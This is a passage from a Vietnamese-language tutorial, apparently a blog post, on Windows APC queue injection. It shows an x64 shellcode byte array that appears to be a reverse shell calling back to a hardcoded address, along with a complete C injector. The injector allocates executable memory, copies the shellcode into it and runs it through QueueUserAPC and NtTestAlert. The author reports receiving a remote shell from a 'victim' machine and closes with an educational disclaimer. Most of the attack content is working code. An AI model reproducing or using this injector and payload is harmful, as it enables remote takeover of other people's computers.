"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00" "\x00\x49\x89\xe5\x49\xbc\x02\x00\x1f\x95\x0a\x00\x02\x0f" "\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07" "\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29" "\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48" "\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea" "\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" "\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81" "\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00" "\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0" "\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01" "\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41" "\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d" "\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48" "\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5" "\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; int main(int argc, char** argv) { HMODULE hNtdll = NULL; HANDLE hCurrentThread = NULL, hCurrentProcess = NULL; UINT_PTR uiVirtualAddress = NULL; pfnNtTestAlert NtTestAlert = NULL; DWORD dwExitCode = 1; hNtdll = GetModuleHandleA("ntdll.dll"); if (!hNtdll) { printf("[-] Failed to get module ntdll.dll. \ Error code = %d\n", GetLastError()); goto EXIT; } NtTestAlert = (pfnNtTestAlert)GetProcAddress(hNtdll, "NtTestAlert"); if (!NtTestAlert) { printf("[-] Failed to NtTestAlert() address. \ Error code = %d\n", GetLastError()); goto EXIT; } uiVirtualAddress = VirtualAlloc( NULL, sizeof(shellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); if (!uiVirtualAddress) { printf("[-] Failed to allocate memory. \ Error code = %d\n", GetLastError()); goto EXIT; } hCurrentProcess = GetCurrentProcess(); if (!WriteProcessMemory( hCurrentProcess, uiVirtualAddress, shellCode, sizeof(shellCode), NULL )) { printf("[-] Failed to write shell code to memory. \ Error code = %d\n", GetLastError()); goto EXIT; } hCurrentThread = GetCurrentThread(); if (!QueueUserAPC(uiVirtualAddress, hCurrentThread, 0)) { printf("[-] Failed to queue APC. \ Error code = %d\n", GetLastError()); goto EXIT; } NtTestAlert(); dwExitCode = 0; EXIT: return 0; } ``` Đùa chút thôi, mình có một câu hỏi dành cho bạn đọc trong phần source code phía trên :smiling_imp:. Như bạn đọc đã biết, tham số đầu tiên được truyền vào `QueueUserApc()` là địa chỉ của tác vụ cần thực thi. Câu hỏi nảy sinh ở đây là tại sao ta lại phải thực hiện một số thao tác khá cồng kềnh như cấp phát một vùng nhớ mới, sao chép shellcode vào vùng nhớ này, và sau đó mới truyền địa chỉ của vùng nhớ đó vào tham số đầu tiên của `QueueUserApc()`? Trong khi ta chỉ cần truyền trực tiếp địa chỉ của mảng `shellCode` vào `QueueUserApc()` là được? :thinking_face: Câu trả lời cho việc này là vì mảng `shellCode` là một biến toàn cục, mà những biến này lại được lưu trữ trong data section. Điều quan trọng cần lưu ý là data section chỉ có quyền đọc và ghi, nhưng không có quyền thực thi. Vì vậy, trực tiếp truyền địa chỉ của mảng `shellCode` vào `QueueUserApc()` không hoạt động, vì nó đơn giản là ta không thể thực thi code từ data section. Do đó, để có thể thực thi code từ mảng `shellCode`, ta cần cấp phát một vùng nhớ mới với quyền thực thi, sau đó sao chép shellcode từ data section vào vùng nhớ mới này. Lúc này, ta có thể truyền địa chỉ của vùng nhớ mới này vào `QueueUserApc()`, việc này sẽ đảm bảo rằng shellcode được thực thi đúng như mong đợi. ![image](https://hackmd.io/_uploads/B1nswjSKa.png) ### :eight_spoked_asterisk: Chạy payload ở phía victim Sau khi xây dựng xong chức năng của injector, mình thực hiện chạy thử nó trên máy victim. Kết quả cuối cùng là máy attacker đã thành công trong việc nhận được remote shell từ máy victim, hình dưới minh họa quá trình này. ![image](https://hackmd.io/_uploads/H1S5KiBta.png) ## Kết luận Trong bài viết này, mình đã giới thiệu về các kỹ thuật APC queue injection. Các kỹ thuật này đều dựa vào cơ chế APC trong Windows để triển khai.Ngoài ra, mình cũng đã phân tích các ưu điểm và nhược điểm của các phương pháp này. Mình hi vọng rằng bài viết này sẽ giúp ích cho các anh em học bảo mật, đặc biệt là về mảng mã độc. :::warning :zap: Lưu ý rằng, bài viết chỉ mang tính chất giáo dục và không khuyến khích việc sử dụng thông tin để thực hiện các hoạt động xấu hay bất hợp pháp. Nếu có thắc mắc hay ý kiến, đừng ngần ngại chia sẻ với mình để làm cho bài viết trở nên tốt hơn. :heart_eyes: ::: ## Tham khảo * [https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls](https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls) * [http://undocumented.ntinternals.net/](http://undocumented.ntinternals.net/) * [https://cocomelonc.github.io/tutorial/2021/11/11/malware-injection-3.html](https://cocomelonc.github.io/tutorial/2021/11/11/malware-injection-3.html) * [https://cocomelonc.github.io/tutorial/2021/11/22/malware-injection-5.html](https://cocomelonc.github.io/tutorial/2021/11/22/malware-injection-5.html) * [https://cocomelonc.github.io/tutorial/2021/11/20/malware-injection-4.html](https://cocomelonc.github.io/tutorial/2021/11/20/malware-injection-4.html) * [https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection)